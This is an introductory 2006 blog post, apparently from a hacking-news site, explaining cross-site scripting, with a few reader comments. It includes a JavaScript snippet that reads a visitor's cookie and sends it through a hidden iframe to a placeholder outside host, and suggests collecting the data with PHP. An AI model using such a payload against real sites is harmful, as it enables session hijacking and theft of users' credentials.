22 June 2006 | 14,255 views

Cross Site Scripting (XSS)

Secure Your Website with Acunetix

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.

XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
In fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions…
In a small definition: XSS=JavaScript+HTML

The Call Of Javascript
Even if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don’t know JavaScript I recommend them http://www.javascript.com… After learning the basics of this wonderful scripting language, you will be ready to go…

Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?

With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:


Also you could do something like popping up the cookie:


And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…

var theCookie = document.cookie;
document.write(‘<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);

Also there are more possibilities with XSS, you just need some creativity…

More XSS
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html

Also a great XSS database can be found at: securityfocus


Recent in General Hacking:
- PentesterLab.com – Excercises To Learn Penetration Testing
- New eLearnSecurity Course – WAPT – Web Application Penetration Testing
- Hackers Break Into White House Military Network

Related Posts:
- XSS-Proxy – Cross Site Scripting Attack Tool
- XSSer v1.0 – Cross Site Scripter Framework
- XSS Shell v0.3.9 – Cross Site Scripting Backdoor Tool

Most Read in General Hacking:
- 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) - 1,129,557 views
- Hack Tools/Exploits - 573,140 views
- Password Cracking with Rainbowcrack and Rainbow Tables - 409,704 views

Advertise on Darknet

4 Responses to “Cross Site Scripting (XSS)”

  1. RSnake 22 June 2006 at 3:23 pm Permalink

    Very cool, backbone! This is a good introductory guide to what XSS is. The XSS Cheat Sheet is really not designed for the novice, so this is a good primer before looking at my page. Thanks for the link!


  2. Chris Jackson 22 June 2006 at 4:20 pm Permalink

    Also check out http://www.youfucktard.com/blog/. This is an excelent source for examples…

  3. Gouki 22 June 2006 at 4:40 pm Permalink

    Nice post (-;

  4. backbone 23 June 2006 at 12:32 pm Permalink

    thanks guys… this article was ment to be an introduction to XSS, and not anything else…